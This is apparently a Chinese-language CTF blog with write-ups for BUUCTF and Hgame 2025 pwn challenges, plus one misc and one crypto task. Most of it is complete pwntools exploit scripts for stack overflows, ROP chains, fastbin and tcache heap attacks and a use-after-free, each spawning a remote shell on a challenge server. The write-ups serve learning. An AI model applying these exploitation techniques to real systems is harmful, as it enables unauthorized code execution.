puts_offset=libc.symbols["puts"]
libc_base=puts_addr-puts_offset
log.success("libc_base:"+hex(libc_base))
system_addr=libc_base+libc.symbols["system"]
binsh_addr=libc_base+0x180543 #/bin/sh

payload=b'a'*56+p64(new_canary)+p64(0)
payload+=p64(brop_gadget+9)
payload+=p64(binsh_addr)
payload+=p64(system_addr)
payload+=p64(stop_gadget)
io.sendline(payload)

io.interactive()
#print("offset is ",size)

hgame{N3ver_w1ll_I_pl4y_blind_aga1n_QAQ}

杂谈

虽然Brop似乎在这样看下来以后就是各种公式化的blind attack，但是实际上在比赛的时候我并未完整做出来

stop_addr

比赛的时候在试stop_addr的时候出了很多问题，浪费了大量时间
stop_gadget到底是个什么呢，我们在brop提出的论文章可以一窥程序运行结构，一个能让程序继续挂起的，类似死循环或者阻塞的代码片段就是stop_addr
也就是说，stop应该是一个plt表上的函数，在2016HCTF的brop题目中我们也可以知道这一点。
那么显然，stop_gadget不止一个，而如何精心选择一个stop_gadget显然是很重要的，因为如果选择一个不好的阻塞的函数可能会影响我们继续爆破和利用函数，尤其在一个更大更复杂的实际情况中，stop_gadget最好就是一个不会使得程序崩溃的返回地址，这里就选择了exit的地址作为这个stop_gadget

欸👆有人可能要问了，为什么我们不回到main函数呢？
仔细思考之后，虽然main作为程序入口函数，在程序中唯一，而且一般情况下子函数绝不会去调用main函数，但是main函数执行前会初始化一些如__libc_csu_init的函数，所以main并不能作为一个很好的stop。因为它会拦截一次对子进程的正常结束，我们需要子进程结束的回显来进行交互，所以我们不能选其作为stop_gadget

buuctf第二页（收录部分）

Sun, 09 Mar 2025 14:39:00 +0000

非堆题

mrctf2020_shellcode

ret2shellcode。但是附件看不了反汇编，要求直接读汇编代码

栈溢出不行直接发shellcode（好无聊的题）

bjdctf_2020_babyrop2

main中有gift和vuln函数

gift函数可输入6个字节

gdb开调，canary再rbp-0x8处，栈上则使第七个参数(8字节算)，填充完buf到canary

泄露出来刚好第六个位置为aa 覆盖完ret2libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./1")
elf=ELF('./1')
libc=ELF('./libc-2.23.so')
io=remote("node5.buuoj.cn",27172)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

ret=0x4005f9
pop_rdi=0x400993

ru("u!\n") #这里直接recv()竟然会出错
sl('%7$p')

canary=int(rc(18),16)
log.success('canary:'+hex(canary))
io.recv()

payload=cyclic(24)+p64(canary)+cyclic(8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['vuln'])
sl(payload)

text=io.recv()
puts_addr=u64(text.ljust(8,b'\x00'))

libc_base=puts_addr-libc.sym['puts']
system_addr=libc_base+libc.sym['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))

payload=cyclic(24)+p64(canary)+cyclic(8)+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
sl(payload)
io.interactive()

inndy_rop——ropchain的利用与静态编译

静态编译

如图，程序在IDA打开后，左侧函数栏并没有红色部分（也就是系统调用函数！）所以一般这种静态编译的文件大小也会比一般pwn题大，既然没有调用库函数的话，那我们也没办法拿来ret2libc，用ropchain来构造rop链call system('/bin/sh')

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
io=remote("node5.buuoj.cn",28945)
p = b'a'*(12+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline(p)
io.interactive()

事实上由于题目的输入限制都是有限的，所以ropchain无法使用，不过如果我们对ropchian简单的修改缩减或许就会有很大的帮助

cmcc_simplerop

也是一道静态编译题，但是空间不够大。需要简化ropchain或者直接系统调用，当然你迁移过去再搞ropchain也没问题(

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


from pwn import *
from struct import pack
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25288)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))


pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
int_80=0x080493e1
bss_buf=0x080EAF85
payload=flat([
 b'a'*0x20,
 p32(elf.sym['read']),
 p32(pop_edx_ecx_ebx),
 p32(0),
 p32(bss_buf),
 p32(0x200),
 p32(pop_eax),
 p32(0xb), #调用execve
 p32(pop_edx_ecx_ebx),
 p32(0)*2+p32(bss_buf),
 p32(int_80)])
io.recv()
sl(payload)
sl(b"/bin/sh\x00")
io.interactive()

pwnable_orw

保护

沙箱(secure computing)，orw可用

长这样，先prctl禁止提权（prctl宏定义可在prctl.h中看），然后限制orw，手写orw或用shellcraft的集成功能

堆题部分

babyheap_0ctf_2017 ♥

保护全开

菜单题

新增堆块, 可以自定义大小，不超过4096，申请成功将该区域置标记为1，v3根据v2大小获得一个指针，指向分配的堆空间

fill部分，用户根据需要提供修改的堆块的index和修改的size——但是size可以任意构造 free就是free，将使用位置标记改为0并申请空间释放，指针也指为0 dump函数会根据堆块index索引显示堆块内容，可以考虑泄露堆空间上内容

解题

patchelf

由于本地glibc版本过高，所以我们在做题之前要同步一下环境，不然fastbins会根据新glibc改为tcachebins

1
2


patchelf --add-needed ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6 ./pwn
patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2 ./pwn

思路

unsortedbin在一个chunk被free后归入其中时，其表头会指向这个被free的chunk，chunk的fd指向之前被free的chunk，如果没有就会指回表头，
而我们这题我们要用到__malloc_hook，这东西在我们调用malloc创建新的堆块的时候便会调用
如果我们能够操控这个hook，通过call调用它的地址的时候，如果其中是system地址，就可以getshell 这题的环境是ubuntu16，__malloc_hook的函数地址偏移是固定的，我们通过main_arena、unsortedbin计算偏移最后就能得到，main_arena的确定得用到fastbin attack，

简单来说，free chunk通过单链表进行维护，如果在free后没有将指针置零的话，那么arena的bin头的fd指针会指向申请的chunk上的fd，如果我们可以操控这个指针指向的地址，那么chunk的fd指针就会指向目标地址！只要我们再次申请这个chunk块，bin头指针自然就指向这个目标地址了！

1
2
3
4
5


allocate(0x80) #0
allocate(0x80) #1
allocate(0x80) #2
allocate(0x80) #3
free(1)

这样构造堆结构以后，呈现为fastbin->chunk1的结构

1
2


payload=cyclic(0x80+8)+p64(0x80+0x10+0x80+0x10+1)
fill(0,payload)

覆写chunk0 0x8覆写chunk1 prev_size
allocate(0x80+0x10+0x80)申请堆块，并且刚好到chunk2

然后我们改写chunk2的size，使得一部分可以进入到unsorted bin中（虽然这样会导致一部分溢出到chunk3中，但是问题不大）然后free(2)就可以获得指向main_arena的指针信息，通过dump(1)打印

之后打fastbin attack，通过改写malloc_hook指针指向one_gadget即可

exp

点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92


from pwn import *
context(log_level='debug',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
#elf=ELF("./pwn")
libc=ELF("libc-2.23.so")
io=remote("node5.buuoj.cn",29971)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def allocate(size):
 sla("Command:",'1')
 sla("Size: ",str(size))

def fill(index,content):
 sla("Command:",'2')
 sla("Index: ",str(index))
 sla("Size: ",str(len(content)))
 sla('Content: ', content)

def free(index):
 sla("Command:",'3')
 sla("Index: ",str(index))

def dump(index):
 sla("Command:",'4')
 sla("Index: ",str(index))
 ru('Content: ')


##########################
# unsorted bin attack #
##########################

allocate(0x80) #0
allocate(0x80) #1
allocate(0x80) #2
allocate(0x80) #4
free(1)

payload=b'a'*(0x80+8)+p64(0x80+0x10+0x80+0x10+1) #填充堆块并构建大堆块 0x8覆盖prev_size，并且+1表示上一个堆块正使用
fill(0,payload)
allocate(0x80+0x10+0x80) #申请堆块，1处释放堆块根据大小提供

payload=b'a'*(0x80+8)+p64((0x80+0x10+1)) #准备构建unsorted bin
fill(1,payload)
free(2) #free后由于上面塞入的0x80+0x10+1，free 的chunk2进入unsorted bin,又因为设置为1，fd/bk会指向固定的main_arena偏移处
dump(1)

rc(0x90+8) #content data部分
fd_addr=u64(rc(8))
log.success("fd_addr:"+hex(fd_addr))
main_arena_addr=fd_addr-0x58
malloc_hook_addr=main_arena_addr-0x10

libc_base=malloc_hook_addr-libc.sym['__malloc_hook']

allocate(0x80)
allocate(0x60)
allocate(0x60)

free(5)

#这一块我们正常覆写chunk4和chunk5的prev_size，
#然后改写fd指针指向到malloc_hook附近后，由于堆管理器的错误判断，我们幸运的可以获得这一个假的chunk，将bk指针修改为0后我们就可以合理地去通过分配这一块触发我们的one_gadget了
payload=b'a' * (0x60 + 8) + p64(0x70 + 1) + p64(malloc_hook_addr - 0x23) + p64(0)
fill(4, payload)
allocate(0x60)
allocate(0x60)

#pause()
execve_bin_sh_addr = libc_base + 0x4526a

payload=b'a'*0x13+p64(execve_bin_sh_addr)

fill(6,payload)

allocate(0x10)

io.interactive()

[ZJCTF 2019]EasyHeap

保护

菜单题

create heap

heaparray[i]存放chunk地址
read_input(heaparray+i,size)写入chunk大小
跳转查看后heap_array在bss段上

edit_heap() 读v0大小到指定chunk中，但是v0比create大就溢出了
delete中free时会将指针置0，所以不存在UFA，

后门，或许修改掉magic就可执行 PIE没开，heaparray_addr = 0x6020E0

详解

先申请到3个chunk

1
2
3


add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2

heap2我们要将它送进fastbins，并修改指针到heaparray_addr的地址，下次申请时先申请到heap2，再到存放堆数组指针的地方申请作为伪装堆

非常好，-0x33初刚好找到我们需要的大小来构造0x7f的chunk，然后通过溢出去修改heaparray[0]

1
2
3
4
5
6


add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad) #由于物理上相邻，所以我们填充完一整个chunk1时prevsize，然后写入fd
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

接下来我们要把heaparray[0]修改为free_got，利用unlink将free_got修改到system去，then——free(1)，由于free_got修改到system，直接执行system('/bin/sh')！

exp

点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",25734)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
 sla("Your choice :",'1')
 sla("Size of Heap : ",str(size))
 sla("Content of heap:",content)

def edit(idx,size,content):
 sla("Your choice :",'2')
 sla("Index :",str(idx))
 sla("Size of Heap : ",str(size))
 sla("Content of heap : ",content)

def free(idx):
 sla("Your choice :",'3')
 sla("Index :",str(idx))

add(0x60,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
free(2) #释放到fastbins后打fastbin attack
payload=b'/bin/sh\x00'+cyclic(0x60)+p64(0x71)+p64(0x6020ad)
edit(1,len(payload),payload) #f写入/bin/sh+填充+fake chunk地址和大小

add(0x60,'aaaa') #重新申请回chunk2
add(0x60,'aaaa') #chunk2->fake chunk
payload=cyclic(0x23)+p64(elf.got['free'])
edit(3,len(payload),payload) #写入freegot

payload3=p64(elf.plt['system'])
edit(0,len(payload3),payload3) #将freegot修改到system
free(1)


io.interactive()

hitcontraining_uaf

uaf，main：

free后没有清除指针，可以uaf

添加chunk，最多5个，notelist[i]是malloc分配的堆，第一个chunk默认分配(每次都有一个），用来存放puts函数（print用的），之后的可以控制，而且有magic提供后门函数，notelist[i][1]是利用malloc分配的我们的堆，之后可以读入
欸但是由于free只是把内容放空, 所以我们即使free掉了前面的chunk，i继续增加，指针仍指向原来的chunk

大概是这样，分配两个fastbin大小堆块，free后malloc一个8Bytes的chunk，它会直接写入到chunk0的puts中，由于chunk2的sub_chunk指了回去，最后修改到chunk0的指针到magic
我们再次申请的时候由于sub_chunk的原因，

申请完大小以后传入magic地址，fd=0x867f000这里会修改为print note的地址，我们之后打印堆块就会自动触发magic

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]

#io=process("./pwn")
elf=ELF("./pwn")
io=remote("node5.buuoj.cn",26225)
#gdb.attach(io)
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ia = lambda :io.interactive()
get_64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
get_32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))

def add(size,content):
 sla("choice :","1")
 sla("Note size :",str(size))
 sla("Content :",content)

def delete(idx):
 sla("choice :","2")
 sla("Index :",str(idx))

def printf(idx):
 sla("choice :","3")
 sla("Index :",str(idx))

magic=elf.sym['magic']
add(48,'bbbb') #0+1
add(48,'cccc') #2+3
delete(0)
delete(1)
add(8,p32(magic))
printf(0)

io.interactive()

Hgame2025_week2_题解

Fri, 21 Feb 2025 21:32:00 +0000

摆了，共做出4道，所以pwn就放着了

misc

computer_cleaner_plus

CentOS7虚拟机，只有终端

题目说 自己的电脑还在遭受黑客的控制

于是看下进程，发现ps指令运行不了

修改执行权限后，运行成功这个elf文件就是后门文件

hgame{B4ck_D0_oR}

crypto

ancient_call

比较无聊，加密方式flag样式都给出了，反向解密即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


Major_Arcana = ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot", "Strength","The Hermit", "Wheel of Fortune", "Justice","The Hanged Man", "Death", "Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"]
wands = ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands", "Knight of Wands", "Queen of Wands", "King of Wands"]
cups = ["Ace of Cups", "Two of Cups", "Three of Cups", "Four of Cups", "Five of Cups", "Six of Cups", "Seven of Cups", "Eight of Cups", "Nine of Cups", "Ten of Cups", "Page of Cups", "Knight of Cups", "Queen of Cups", "King of Cups"]
swords = ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords", "Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords", "King of Swords"]
pentacles = ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles", "Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles", "Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana = wands + cups + swords + pentacles
tarot = Major_Arcana + Minor_Arcana

def reverse_step(current):
 v0, v1, v2, v3, v4 = current
 a0 = (v0 - v1 + v2 - v3 + v4) // 2
 a1 = v0 - a0
 a2 = v1 - a1
 a3 = v2 - a2
 a4 = v3 - a3
 if a4 + a0 != v4:
 raise ValueError("Invalid reverse step")
 return [a0, a1, a2, a3, a4]

final_values = [
 2532951952066291774890498369114195917240794704918210520571067085311474675019,
 2532951952066291774890327666074100357898023013105443178881294700381509795270,
 2532951952066291774890554459287276604903130315859258544173068376967072335730,
 2532951952066291774890865328241532885391510162611534514014409174284299139015,
 2532951952066291774890830662608134156017946376309989934175833913921142609334
]

current = final_values.copy()
for _ in range(250):
 current = reverse_step(current)

def get_card(k):
 rev = k ^ -1
 if 0 <= rev < len(Major_Arcana):
 return f"re-{Major_Arcana[rev]}"
 elif 0 <= k < len(Major_Arcana):
 return Major_Arcana[k]
 else:
 index = k % len(tarot)
 return tarot[index]

initial_cards = [get_card(k) for k in current]
flag = "hgame{" + "&".join(initial_cards).replace(" ", "_") + "}"
print(flag)

hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups}

pwn

Signin2Heap

保护全开

IDA打开查看，菜单题

main函数中增删查三大基本功能

add()中查看，搜索一下——offbynull漏洞，利用思路如下

offbynull可以破坏堆块结构，适当构造出堆块重叠，从而可以uaf
unlink泄露libc后堆块重叠可以修改tcache的fd指针，指向free_hook执行system

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

#io=process("./vuln")
io=remote("node1.hgame.vidar.club",30769)
elf=ELF("./vuln")
libc=ELF('./libc-2.27.so')

se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()

def add(idx,size,content):
 sa(b"choice:",p32(1))
 sla(b"Index: ", str(idx))
 sla(b"Size: ",str(size))
 sa(b"Content: ",content)
def free(idx):
 sa(b"choice:", p32(2))
 sla(b"Index: ", str(idx))
def show(idx):
 sa(b"choice:", p32(3))
 sla(b"Index: ", str(idx))

for i in range(7):
 add(i,0xf8,b"aaaa")
add(7,0xf8,b"aaaa")
add(8,0x88,b"aaaa")#8 注意到add()中末尾有\x00，我们要修改previnuse位
add(9,0xf8,b"aaaa")
add(10,0x88,b"aaaa")
add(11,0x88,b"aaaa")

for i in range(7):
 free(i)
free(8)
free(7)
add(8,0x88,b"a"*0x80+p64(0x90+0x100))
free(9) #unlink

for i in range(7):
 add(i,0xf8,"/bin/sh\x00")

add(7,0xf8,"aaaa")
show(8)


libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
#log.success("libc_base:"+hex(libc_base))
system_addr = libc_base+0x4f420
free_hook = libc_base+0x3ed8e8
add(12,0x88,b"aaaa")
add(9,0xf8,b"aaaa")
for i in range(7):
 free(i)
free(8)
free(7)
add(8,0x88,b"a"*0x80+p64(0x90+0x100))
free(9)

for i in range(7):
 add(i,0xf8,"/bin/sh")

add(13,0x88,b"a"*0x80+p64(0x90+0x100))
free(10)
free(8)
add(8,0x90,p64(0x1111)*12+p64(0x90)+p64(0x10)+p64(free_hook)) #tcache attack

add(9,0xf8,p64(0))
add(10,0x80,p64(0))
add(14,0x80,p64(system_addr))
free(3)

ia()

hgame{suCc3s5FuLIY_EXPlolt_oFF_bY-NuIL1b4a4e}

ps：add()最后一行在末尾加上了\x00，这个操作会检查是否越界，所以可能也可以利用这个\x00修改previnuse位来绕过检查实现堆块重叠，从而可以uaf，堆好难啊学的死去活来的

Hgame2025_week1 Counting_petals

Sat, 15 Feb 2025 16:49:00 +0000

counting petals

解析

IDA反编译栈布局（以rbp为基准）
+————————+
| return address | <- RBP + 8
+————————+
| saved RBP | <- RBP
+————————+
| canary | <- RBP - 8
+————————+
| v9 | <- RBP - 0Ch
+————————+
| v8 | <- RBP - 10h
+————————+
| v7[17] | <- RBP - 98h
+————————+
| v6 | <- RBP - 9Ch
+————————+
| v5 | <- RBP - A0h
+————————+
| v4 | <- RBP - A4h
+————————+
最开始输入v8, 一个不大于16的数, 位于rbp-10h 可以写入v8次数，根据v9比较进行判断但同时注意到v7[17]数组分配88h空间，且循环中逻辑是先++后填入数据
那么我们输入16的话刚好就可以通过覆写v8与v9来实现栈溢出

需要注意在while(v9<v8)中, 我们输入的是八位长整型如果我们想要改变v9的值，需要注意类型，不然就会像我刚开始一样虽然改变了v8一直死循环
因为v9始终置0

这里要注意的就是一开始随机生成的v6会用于进行运算来决定是否二次进入程序
所以我选择多运行几次😁 ps:canary有一种绕过方法，moectf2024:Catch_the_canary 我们直接在scanf读取数字时输入+或-绕过就行了

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61


from pwn import *
from ctypes import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]
io=remote("node1.hgame.vidar.club",32242)
#io=process("./vuln")
se = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
rc = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims :io.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
ia = lambda :io.interactive()


elf=ELF("./vuln")
libc=ELF("./libc.so.6")

sla(b"time?",b"16")
for i in range(1,16):
 sla(b": ", b"0")
sla(b"16 :",b"24") #v7[17]=24,rbp-98h+8*17(136)=ebp-10h，刚好到v8空间，因为输入的是ld所以高位的0会给v9
for i in range(1,24+1):
 sla(b": ", b"+")
#gdb.attach(io) 
sla(b"Reply 1 indicates the former and 2 indicates the latter: \n",b"1")
ru(b"Let's look at the results.\n")

output = ru(b" = ").decode().split(' + ')
log.success("output:{}".format(output))

#canary=int(output[16],10) #canary紧跟在后面
libc_base = int(output[18],10)-int("0x29d90",16) #0x29d90,ret
#print(hex(canary))
#print(hex(libc_base))

#下面时二次进入，相似部分跟上面一样即可
sla(b"time?",b"16")

system_addr=libc_base+libc.symbols["system"]
# binsh_addr=libc_base+0x1d8678
binsh_addr=libc_base+next(libc.search(b"/bin/sh"))
#pop_rdi_addr=libc_base+0x2a3e5
pop_rdi_addr = libc_base+libc.search(asm("pop rdi; ret")).__next__()
ret_addr=libc_base+0x29139

for i in range(15):
 sla(b": ", b"0")
sla(b"16 :",b"24")

for i in range(18):
 sla(b": ", b"+")

sl(str(pop_rdi_addr))
sl(str(binsh_addr))
sl(str(ret_addr)) #对齐
sl(str(system_addr))
io.interactive()

Hgame2025_week1 Ezstack

Sat, 15 Feb 2025 16:40:00 +0000

ezstack

关于本题环境

这题的socket一系列操作相当于创建了一个可以接受多个连接的监听
监听所有IP地址的绑定在端口9999上的进程，而fork()是用来创建子进程的，

题目给了dockerfile和start.sh，意思让我们自己本地搭个docker容器，不知道原因，先搭吧
我用的是wsl2，安装docker插件的话启动docker desktop自动读取 libc-2.31.so提取出来

本地启动./vuln之后，vscode跳出

在脚本中调用gdb.attach(io)，通过io=remote(“127.0.0.1”,9999)连接即可，一个shell运行一个shell调试

解析

保护

主要函数是这个,80大小和0x60，就是经典栈溢出，但是这里需要16字节的溢出空间明显不够，需要进行栈迁移寻找一下控制栈的gadget

找到一个很好的gadget

调整溢出后重新进入vuln并迁移到了bss段 payload = b'a'*80+p64(bss)+p64(vuln) ##填充栈并填充bss地址
泄露libc payload = p64(bss + 0x50) + p64(rsi_r15) + p64(write_got) + p64(1) + p64(write_plt) + p64(rsi_r15) + p64(bss) + p64(bss) + p64(read_plt) + p64(ret) + p64(bss - 0x50) + p64(leave_ret) 具体讲一下这里是如何迁移的(栈迁移是一个需要加深印象的难点)，这里迁移后将bss加上0x50作为栈上数据后填充rsi和r15用于控制（后续用），调用write函数后就可以将数据存储到bss中，并通过read去读取泄露出了write的实际地址来泄露libc的地址，然后返回
再次栈迁移准备系统调用read并再次返回到指定bss段位置 payload = p64(rdi) + p64(4) + p64(rsi) + p64(bss - 0x200) + p64(rdx_r12) + p64(0x200) + p64(0x200) + p64(read_plt) + p64(leave_ret) + p64(leave_ret) + p64(bss - 0x200) + p64(leave_ret)
